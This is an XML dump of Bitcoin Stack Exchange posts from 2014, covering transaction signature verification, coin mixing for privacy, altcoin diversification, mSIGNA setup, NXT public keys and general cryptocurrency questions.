  <row Id="32308" PostTypeId="2" ParentId="32305" CreationDate="2014-11-04T07:36:01.543" Score="17" Body="&lt;p&gt;Let us take &quot;pizza transaction&quot;&#xA;&lt;a href=&quot;https://blockchain.info/tx/cca7507897abc89628f450e8b1e0c6fca4ec3f7b34cccf55f3f531c659ff4d79&quot; rel=&quot;noreferrer&quot;&gt;https://blockchain.info/tx/cca7507897abc89628f450e8b1e0c6fca4ec3f7b34cccf55f3f531c659ff4d79&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &#xA;&#xA;&#xA;// decoded by https://blockchain.info/decode-tx&#xA;{&#xA;   &quot;lock_time&quot;:0,&#xA;   &quot;size&quot;:300,&#xA;   &quot;inputs&quot;:[&#xA;      {&#xA;         &quot;prev_out&quot;:{&#xA;            &quot;index&quot;:0,&#xA;            &quot;hash&quot;:&quot;a1075db55d416d3ca199f55b6084e2115b9345e16c5cf302fc80e9d5fbf5d48d&quot;&#xA;         },&#xA;         &quot;script&quot;:&quot;4830450221009908144ca6539e09512b9295c8a27050d478fbb96f8addbc3d075544dc41328702201aa528be2b907d316d2da068dd9eb1e23243d97e444d59290d2fddf25269ee0e0141042e930f39ba62c6534ee98ed20ca98959d34aa9e057cda01cfd422c6bab3667b76426529382c23f42b9b08d7832d4fee1d6b437a8526e59667ce9c4e9dcebcabb&quot;&#xA;      }&#xA;   ],&#xA;   &quot;version&quot;:1,&#xA;   &quot;vin_sz&quot;:1,&#xA;   &quot;hash&quot;:&quot;cca7507897abc89628f450e8b1e0c6fca4ec3f7b34cccf55f3f531c659ff4d79&quot;,&#xA;   &quot;vout_sz&quot;:2,&#xA;   &quot;out&quot;:[&#xA;      {&#xA;         &quot;script_string&quot;:&quot;OP_DUP OP_HASH160 df1bd49a6c9e34dfa8631f2c54cf39986027501b OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;         &quot;address&quot;:&quot;1MLh2UVHgonJY4ZtsakoXtkcXDJ2EPU6RY&quot;,&#xA;         &quot;value&quot;:577700000000,&#xA;         &quot;script&quot;:&quot;76a914df1bd49a6c9e34dfa8631f2c54cf39986027501b88ac&quot;&#xA;      },&#xA;      {&#xA;         &quot;script_string&quot;:&quot;04cd5e9726e6afeae357b1806be25a4c3d3811775835d235417ea746b7db9eeab33cf01674b944c64561ce3388fa1abd0fa88b06c44ce81e2234aa70fe578d455d OP_CHECKSIG&quot;,&#xA;         &quot;address&quot;:&quot;13TETb2WMr58mexBaNq1jmXV1J7Abk2tE2&quot;,&#xA;         &quot;value&quot;:422300000000,&#xA;         &quot;script&quot;:&quot;4104cd5e9726e6afeae357b1806be25a4c3d3811775835d235417ea746b7db9eeab33cf01674b944c64561ce3388fa1abd0fa88b06c44ce81e2234aa70fe578d455dac&quot;&#xA;      }&#xA;   ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Look and decode at the input=0 script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;48  // push next 0x48 bytes&#xA;30450221009908144ca6539e09512b9295c8a27050d478fbb96f8addbc3d075544dc41328702201aa528be2b907d316d2da068dd9eb1e23243d97e444d59290d2fddf25269ee0e01&#xA;41  // push next 0x41 bytes&#xA;042e930f39ba62c6534ee98ed20ca98959d34aa9e057cda01cfd422c6bab3667b76426529382c23f42b9b08d7832d4fee1d6b437a8526e59667ce9c4e9dcebcabb&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First push is signature concatenated with hashtype=01 (SIGHASH_ALL)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second push is public key for address 17SkEw2md5avVNyYgj6RiXuQKNwkXaxFyQ&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do we check - is this transaction valid? Is it correctly signed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Remove input script from transaction. We should remove bytes (do not forget about script len)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;8b4830450221009908144ca6539e09512b9295c8a27050d478fbb96f8addbc3d&#xA;075544dc41328702201aa528be2b907d316d2da068dd9eb1e23243d97e444d59&#xA;290d2fddf25269ee0e0141042e930f39ba62c6534ee98ed20ca98959d34aa9e0&#xA;57cda01cfd422c6bab3667b76426529382c23f42b9b08d7832d4fee1d6b437a8&#xA;526e59667ce9c4e9dcebcabb&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) Replace it with the funding script to 17SkEw2md5avVNyYgj6RiXuQKNwkXaxFyQ&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_DUP OP_HASH160 46af3fb481837fadbb421727f9959c2d32a36829 OP_EQUALVERIFY OP_CHECKSIG&#xA;1976a91446af3fb481837fadbb421727f9959c2d32a3682988ac&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Do not forget about script length again!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Append SIGHASH_ALL as 32-bit low-endian value. The result will be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01000000018dd4f5fbd5e980fc02f35c6ce145935b11e284605bf599a13c6d41&#xA;5db55d07a1000000001976a91446af3fb481837fadbb421727f9959c2d32a368&#xA;2988acffffffff0200719a81860000001976a914df1bd49a6c9e34dfa8631f2c&#xA;54cf39986027501b88ac009f0a5362000000434104cd5e9726e6afeae357b180&#xA;6be25a4c3d3811775835d235417ea746b7db9eeab33cf01674b944c64561ce33&#xA;88fa1abd0fa88b06c44ce81e2234aa70fe578d455dac0000000001000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;4) Hash it twice by SHA256. The digest will be&#xA;&lt;strong&gt;692678553d1b85ccf87d4d4443095f276cdf600f2bb7dd44f6effbd7458fd4c2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) OK, we have now three items:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a) public key 042e930f39ba62c6[...cut...]6e59667ce9c4e9dcebcabb&lt;/li&gt;&#xA;&lt;li&gt;b) signature 304502210099081[...cut...]d59290d2fddf25269ee0e&lt;/li&gt;&#xA;&lt;li&gt;c) digest 692678553d1b85ccf87d4d4443095f276cdf600f2bb7dd44f6effbd7458fd4c2&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Pass these values to standard ECDSA verify method and you will receive the result: true or false. Here is a small piece of my quick-and-dirty check whith hardcoded values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;const QByteArray xx ( QByteArray::fromHex ( &quot;01000000018dd4f5fbd5e980fc02f35c6ce145935b11e284605bf599a13c6d41&quot;&#xA;                                            &quot;5db55d07a1000000001976a91446af3fb481837fadbb421727f9959c2d32a368&quot;&#xA;                                            &quot;2988acffffffff0200719a81860000001976a914df1bd49a6c9e34dfa8631f2c&quot;&#xA;                                            &quot;54cf39986027501b88ac009f0a5362000000434104cd5e9726e6afeae357b180&quot;&#xA;                                            &quot;6be25a4c3d3811775835d235417ea746b7db9eeab33cf01674b944c64561ce33&quot;&#xA;                                            &quot;88fa1abd0fa88b06c44ce81e2234aa70fe578d455dac0000000001000000&quot; ) );&#xA;const MyKey32 digest ( xx.constData ( ), xx.size ( ) ); // construct object of sha256 (sha256 ( xx ) )&#xA;_trace ( digest.toString ( ) );                         // print result&#xA;const QByteArray pubkey ( QByteArray::fromHex ( &quot;042e930f39ba62c6534ee98ed20ca98959d34aa9e057cda01cfd422c6bab3667b76426529382c23f42b9b08d7832d4fee1d6b437a8526e59667ce9c4e9dcebcabb&quot; ) );&#xA;const QByteArray signature ( QByteArray::fromHex ( &quot;30450221009908144ca6539e09512b9295c8a27050d478fbb96f8addbc3d075544dc41328702201aa528be2b907d316d2da068dd9eb1e23243d97e444d59290d2fddf25269ee0e&quot; ) );&#xA;_trace ( QString ( &quot;verify=%1&quot; ).arg ( digest.verify ( pubkey, signature ) ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;692678553d1b85ccf87d4d4443095f276cdf600f2bb7dd44f6effbd7458fd4c2&quot;&#xA;&quot;verify=1&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12983" LastEditorUserId="12983" LastEditDate="2014-12-09T09:13:45.767" LastActivityDate="2014-12-09T09:13:45.767" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32310" PostTypeId="1" CreationDate="2014-11-04T11:08:04.120" Score="9" ViewCount="7612" Body="&lt;p&gt;When you want to anonymize a few hundred BTC, what would be the best (safest) way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can think of these alternatives:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Deposit to and withdraw from exchange (like Kraken, Bitstamp, etc)&lt;br&gt;&lt;em&gt;Pros&lt;/em&gt;: reasonably safe (especially when using a solid, trusted exchange).&lt;br&gt;&lt;em&gt;Cons&lt;/em&gt;: not really anonymous, major exchanges must subject to KYC laws and have strict identification rules.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Mixing service (like bitmixer.io)&lt;br&gt;&lt;em&gt;Pros&lt;/em&gt;: very anonymous.&lt;br&gt;&lt;em&gt;Cons&lt;/em&gt;: can't really estimate the risk, you have to trust some anonymous 3rd party who can decide to disappear with your coins. Also, it can be expensive (depends on circumstances and requirements, but I'd consider 3 BTC fee to mix 300 BTC kind of expensive).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Coin Join&lt;br&gt;&lt;em&gt;Pros&lt;/em&gt;: pretty much risk-free (don't have to trust anyone).&lt;br&gt;&lt;em&gt;Cons&lt;/em&gt;: is there a steady, easy, accessible way to setup large coin join transactions? The shared send feature of blockchain.info/wallet? Sharedcoin.com?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Dark Wallet / Stealth Addresses&lt;br&gt;&lt;em&gt;Pros&lt;/em&gt;: as far as I understand, this offers high anonimity without the need no trust anyone, although I'm not 100% sure of how this works technically.&lt;br&gt;&lt;em&gt;Cons&lt;/em&gt;: To my knowledge it's still in development, unstable, not suitable for usage with large sums of money?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What your take on this? Any other options?&lt;/p&gt;&#xA;" OwnerUserId="15492" LastEditorUserId="15492" LastEditDate="2014-11-12T15:16:09.303" LastActivityDate="2016-03-03T23:21:10.700" Title="Best way to mix bitcoins? mixer, coin join (shared send), dark wallet, stealth addresses?" Tags="|wallet|exchanges|privacy|mixing|stealth-address|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32311" PostTypeId="1" CreationDate="2014-11-04T11:25:11.850" Score="0" ViewCount="87" Body="&lt;p&gt;I'm interested in *coin, but I'm afraid of sinking money into something out of idle curiosity and then losing that money to value fluctuations. Would it be a good idea to have several different *coin (lite, doge, idk what else there is) so that the fluctuations balance each other?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have different *coin in the past gained and lost value in 'lockstep', or totally independent or inversely?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aware that I would also loose the chance to gain money from course fluctuations, but I don't that's &lt;a href=&quot;http://blockchain.info/de/charts/market-price&quot; rel=&quot;nofollow&quot;&gt;something to loose sleep over&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="13856" LastActivityDate="2014-11-05T15:56:45.410" Title="Would it be a good idea to have several different *coin to protect oneself from fluctuations?" Tags="|altcoin|value|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32312" PostTypeId="2" ParentId="32311" CreationDate="2014-11-04T11:36:20.903" Score="1" Body="&lt;p&gt;I don't see how different coins would protect against volatility, as Bitcoin is by far the leading cryptocurrency, and the others (even all of them combined) are really totally insignificant in terms of market cap and trading volume. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to protect against volatility (given that you measure volatility in terms of value expressed in fiat currency), there's two options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;use &lt;a href=&quot;https://coinapult.com/locks/info&quot; rel=&quot;nofollow&quot;&gt;Coinapult Locks&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;keep part of your money in fiat&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Simple as that. Seriously, just not investing part of your money in something is the best and easiest way to suppress its volatility.&lt;/p&gt;&#xA;" OwnerUserId="15492" LastActivityDate="2014-11-04T11:36:20.903" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32313" PostTypeId="2" ParentId="32311" CreationDate="2014-11-04T11:58:29.563" Score="0" Body="&lt;p&gt;You should see *coin as a &lt;strong&gt;very high risk&lt;/strong&gt; asset. The strategy &quot;diversify your investment&quot; only works on regular stocks since people generally see the markets rising over large amounts of time on established companies. (The fluctuations average in accordance to the &lt;em&gt;law of large numbers&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is much more risky to invest in something completely new no-one has genuine, long-term experience with. Stating that, the &lt;em&gt;law of large numbers&lt;/em&gt; cannot be applied since chances are equally high for rates to explode or crash. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;tl;dr &lt;strong&gt;Diversifying does not really work on *coins by now&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="20935" LastEditorUserId="2306" LastEditDate="2014-11-05T15:56:45.410" LastActivityDate="2014-11-05T15:56:45.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32314" PostTypeId="1" CreationDate="2014-11-04T13:01:31.120" Score="1" ViewCount="5166" Body="&lt;p&gt;Which IP do I have to fill in in mSIGNA to connect to the Bitcoin Network without using the BitcoinQt/bitcoind application?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to use mSIGNA and BitcoinQt even if the syncing process is not finished yet?&lt;/p&gt;&#xA;" OwnerUserId="20936" LastEditorUserId="2306" LastEditDate="2014-11-05T15:39:05.643" LastActivityDate="2016-01-15T04:17:20.167" Title="How do I use mSIGNA without the standard Bitcoin client?" Tags="|bitcoin-core|network|msigna|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32316" PostTypeId="2" ParentId="32314" CreationDate="2014-11-04T14:15:01.553" Score="0" Body="&lt;p&gt;I think there's no way to connect without Bitcoin-Qt as Getting Started Tutorial states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;By    default,    mSIGNA™ will    attempt to  connect to  a   bitcoin node&#xA;  running   on  localhost   (i.e.   a   local   running instance    of  Bitcoin-Qt).    If you&#xA;  have  Bitcoin-Qt  running on  your    computer,   leave   this    setting alone.  If&#xA;  you   would   prefer  to  connect to  a   remote  bitcoin node,   you can change&#xA;  the   IP  address and port    under   Network-&gt;Settings… (File-&gt;Preferences&#xA;  … on  Mac).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="83779" LastEditorUserId="2306" LastEditDate="2014-11-05T15:38:49.717" LastActivityDate="2014-11-05T15:38:49.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32317" PostTypeId="2" ParentId="32306" CreationDate="2014-11-04T14:30:51.500" Score="1" Body="&lt;p&gt;You can check if transaction is incoming or outcoming if you check &quot;spent&quot; boolean value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;spent&quot;:false,&quot;tx_index&quot;:64117670,&quot;type&quot;:0,&quot;addr&quot;:&quot;18TXxNNt5qQWiNsCb6vLhUud8wjqehHWYN&quot;,&quot;value&quot;:496364,&quot;n&quot;:29,&quot;script&quot;:&quot;76a91451cd88fd726d2f2085e86fd242873c6ab6f5485d88ac&quot;},    &#xA;{&quot;spent&quot;:true,&quot;tx_index&quot;:64117670,&quot;type&quot;:0,&quot;addr&quot;:&quot;1FvfNCiqGF9sCFoJqcNCExv34UM1KfpXiu&quot;,&quot;value&quot;:464214,&quot;n&quot;:30,&quot;script&quot;:&quot;76a914a3b7d538dac93dd995e01069e44be13bdebd7baa88ac&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="83779" LastActivityDate="2014-11-04T14:30:51.500" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32318" PostTypeId="1" AcceptedAnswerId="32338" CreationDate="2014-11-04T15:33:32.080" Score="0" ViewCount="285" Body="&lt;p&gt;&lt;a href=&quot;https://blockchain.info/unconfirmed-transactions?format=json&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/unconfirmed-transactions?format=json&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been &lt;strong&gt;given an api key&lt;/strong&gt;, I would like to call the above url every second to count the number of tx in real-time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think that this though is the best way to do this as the data might be delayed by the response time and I don't like the idea of calling them that often (I would count that as sort-of abuse of service, though I don't know for sure). Also in a call I would have to filter out any tx with the same id that may have been listed in the previous call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would prefer to get a list showing &lt;strong&gt;all&lt;/strong&gt; unconfirmed, and to not miss any at all, to see them as they happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was looking at the bitcoind rpc call 'listtransactions'. I think that this would let me count quicker but, I would like to know if there is a way/api that will push me the world wide unconfirmed tx as they happen (so that I am always 100% accurate to count the real time number of transactions world wide). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I only need to count the precise 'number of'.&lt;/p&gt;&#xA;" OwnerUserId="14316" LastActivityDate="2014-11-05T06:51:27.670" Title="real time number of transactions world wide" Tags="|api|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32319" PostTypeId="2" ParentId="30429" CreationDate="2014-11-04T15:46:03.620" Score="5" Body="&lt;p&gt;There is now a getAccountPublicKey API request. But as you indicated, the public key is shown prominently in the NXT reference client (NRS version 1.3.2 currently) when an account is first opened with a secret passphrase. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This public key can be used along with the account ID (which is derived from the public key) to fund the new account from another account, thus securing the new account by adding the public key to the blockchain. If a different secret passphrase were then to be used which results in the same account ID (such a collision being a distinct possibility), it could not open the account since its corresponding public key would be different from the one already stored in the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The public key will no longer be displayed prominently in the NXT client, but it still can be viewed by sending a transaction, then clicking on the timestamp of the transaction as displayed in the client, then clicking on &quot;Transaction Details&quot;. The first field in the pop-up window is &quot;Sender Public Key&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are interested in the algorithm for computing the public key from the secret passphrase, refering to the &lt;a href=&quot;https://wiki.nxtcrypto.org/wiki/Whitepaper:Nxt#Accounts&quot; rel=&quot;noreferrer&quot;&gt;Whitepaper:Nxt&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The secret passphrase is hashed with SHA256 to derive the account's&#xA;private key. &lt;/li&gt;&#xA;&lt;li&gt;The private key is encrypted with Curve25519 to derive&#xA;the account's public key.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20940" LastEditorUserId="20940" LastEditDate="2014-11-05T12:56:36.830" LastActivityDate="2014-11-05T12:56:36.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32321" PostTypeId="2" ParentId="32114" CreationDate="2014-11-04T16:17:11.330" Score="1" Body="&lt;p&gt;All 73 initial stakeholder accounts are included in the &lt;a href=&quot;http://blocks.nxtcrypto.org/nxt/nxt.cgi?action=1000&amp;amp;blk=2680262203532249785&quot; rel=&quot;nofollow&quot;&gt;genesis block of the blockchain&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could write a script to extract the detailed information you are looking for from the block chain, using the &lt;a href=&quot;https://wiki.nxtcrypto.org/wiki/Nxt_API&quot; rel=&quot;nofollow&quot;&gt;NXT API&lt;/a&gt;. However, even if you follow the money trail, there is no way to know who owns the destination accounts -- some may be owned by the original stakeholders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps a more useful study is to analyze the blockchain to determine the amount of NXT concentrated in large accounts vs. small accounts. This has been done in a graph &lt;a href=&quot;http://charts.nxtcrypto.org/cDistribution.aspx&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. Notice that much distribution took place during the first month or two and continues at a slower pace since then. You can click along the horizontal axis to remove selected bands in the graph.&lt;/p&gt;&#xA;" OwnerUserId="20940" LastEditorUserId="20940" LastEditDate="2014-11-05T17:13:05.690" LastActivityDate="2014-11-05T17:13:05.690" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32323" PostTypeId="2" ParentId="30494" CreationDate="2014-11-04T17:01:36.977" Score="2" Body="&lt;p&gt;It &lt;em&gt;is&lt;/em&gt; confusing, especially since the &lt;a href=&quot;https://wiki.nxtcrypto.org/wiki/Whitepaper:Nxt#Accounts&quot; rel=&quot;nofollow&quot;&gt;Whitepaper:Nxt&lt;/a&gt; is misleading when it states:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;When an account is accessed by a secret passphrase for the very first time, it is not secured by a public key. When the first outgoing transaction from an account is made, the 256-bit public key derived from the passphrase is stored on the blockchain, and this secures the account.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not possible to send a transaction from a brand new account since it has a zero NXT balance and the minimum transaction fee is 1 NXT. Therefore, the only way to secure a new account is to fund it from some other account using the account ID together with the public key, which is then recorded in the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The forms used for sending NXT, even on the major exchanges, now provide a field for the public key, in case it is the first transaction to a brand new account. Otherwise, the public key field can be left empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason why this one-time extra step is necessary is because the 8-byte account ID is much shorter than the 32-byte public key it is derived from. There are many secret passphrase/public key pairs that reduce to the same account ID. But once a particular public key is associated with an account ID by storing it in the blockchain, no other secret passphrase that generates a different public key can access that account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The developers of NXT initially chose to use an 8-byte account ID, thinking that it is more convenient than a 25-byte bitcoin address. But the trade-off is that collisions are much more likely. It was later decided that the risk of a collision was too great, but by then it was too late to increase the account ID length without a major disruption. So, the above solution was devised, which preserves the convenience factor while solving the collision problem, all at the cost of a one-time but awkward additional step. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, this extra step raises the entry barrier for NXT, lowering its adoption rate.&lt;/p&gt;&#xA;" OwnerUserId="20940" LastActivityDate="2014-11-04T17:01:36.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32324" PostTypeId="1" CreationDate="2014-11-04T17:03:06.670" Score="0" ViewCount="52" Body="&lt;p&gt;Some bitcoin addresses on blockchain.info refer to an external website, see e.g. here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/40c09e1fb345d258b8123c5e6ceda3d53575def3053c87bf7d5571c74fc2227d&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/40c09e1fb345d258b8123c5e6ceda3d53575def3053c87bf7d5571c74fc2227d&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the addresses in this transaction is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/address/1bonesNcbrNbHJZr33LV2gBmDS9m91TWz&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/1bonesNcbrNbHJZr33LV2gBmDS9m91TWz&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This blockchain.info page shows the address as English text instead of a Base58 encoded string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does this work?&lt;/p&gt;&#xA;" OwnerUserId="12600" LastActivityDate="2014-11-04T17:33:47.560" Title="How do addresses that refer to a web site work?" Tags="|address|blockchain.info|" AnswerCount="1" CommentCount="1" ClosedDate="2014-11-21T00:41:40.193" ContentLicense="CC BY-SA 3.0" />
  <row Id="32325" PostTypeId="2" ParentId="32324" CreationDate="2014-11-04T17:33:47.560" Score="1" Body="&lt;p&gt;You can add a tag to your address here &lt;a href=&quot;https://blockchain.info/tags&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tags&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will be shown on bc.i site&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-11-04T17:33:47.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32326" PostTypeId="1" CreationDate="2014-11-04T17:35:05.103" Score="0" ViewCount="110" Body="&lt;p&gt;Can I use my Bitcoins to buy household commodities just like ordinary money?  You see, I'm a newbie and have yet to learn the basics including all the facts about Bitcoins.  However,  I want to be ascertained as to whether my time and efforts in learning the trade will be rewarding in such a way that,  I'll be able to use whatever amount of Bitcoins I may earn someday to actually purchase things from the nearby store. &lt;/p&gt;&#xA;" OwnerUserId="20943" LastEditorUserId="2306" LastEditDate="2014-11-05T15:47:21.653" LastActivityDate="2022-08-12T06:01:40.160" Title="Can I use my Bitcoins to buy household commodities just like ordinary money?" Tags="|legal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32327" PostTypeId="2" ParentId="20718" CreationDate="2014-11-04T18:01:41.187" Score="1" Body="&lt;p&gt;I'd like to give a general answer that can apply to any wallet. As long as you have the private key, you can get the public key easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can convert any private key to a public key using &lt;a href=&quot;https://github.com/vbuterin/pybitcointools&quot; rel=&quot;nofollow&quot;&gt;pybitcointools&lt;/a&gt;. After you install pybitcointools using &lt;code&gt;pip install pybitcointools&lt;/code&gt;, simply run &lt;code&gt;python&lt;/code&gt; and issue the following commands:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bitcoin&#xA;bitcoin.privtopub('57c617d9b4e1f7af6ec97ca2ff57e94a28279a7eedd4d12a99fa11170e94f5a4')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, you will have to replace your private key in the above statement.&lt;/p&gt;&#xA;" OwnerUserId="1587" LastActivityDate="2014-11-04T18:01:41.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32328" PostTypeId="1" AcceptedAnswerId="32342" CreationDate="2014-11-04T19:03:40.630" Score="1" ViewCount="131" Body="&lt;p&gt;I've been interested in Bitcoin for a while. I've been thinking I'd like to give it a go and see if I can make my own cryptocurrency, just to see if I can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I run my own small web hosting company, the main reason why I don't want to accept Bitcoin is its price volatility. I mean, at one point it was worth $1000 and now its worth $315.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering, from purely an economics standpoint, would a currency in which all payments, transactions etc ... where decentralised work if one key part was centralised.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to make all clients download a text file once a week. In the text file would a number, and that number would tell all of the transaction verifiers how many new currency units can be created in any 24 hour period.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to use this file to control the rate at which new currency units are created, there would be no overall limit like Bitcoins 21M. The value would be controlled by controlling the number of currency units that can be created in any 24 hour period.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So since I know nothing about economics I was wondering, would this work?&lt;/p&gt;&#xA;" OwnerUserId="20946" LastEditorUserId="20946" LastEditDate="2014-11-04T19:23:39.763" LastActivityDate="2014-11-05T12:16:32.347" Title="An &quot;Almost&quot; decentralised currency" Tags="|currencies|economic-theory|peers|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32329" PostTypeId="2" ParentId="32326" CreationDate="2014-11-04T20:24:19.357" Score="1" Body="&lt;p&gt;Currently there are relatively few shops that accept Bitcoin. If you want to know whether your local stores accept it, you will have to ask them. (Be prepared to be told &quot;no&quot; or more likely &quot;I have no idea what you are talking about.&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your title about &quot;legal tender&quot; is actually asking something different. &quot;Legal tender&quot; is a legal term, referring to a method of payment that must be accepted to settle a debt. As far as I know, Bitcoin is not legal tender in  any jurisdiction. However, people are still free to accept it if both parties agree (unless other local laws forbid it). In any case, legal tender is irrelevant to retail purchases, where no goods have already changed hands and no debt exists ahead of time. The seller can decide what forms of payment they do or don't want to accept.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-11-04T20:24:19.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
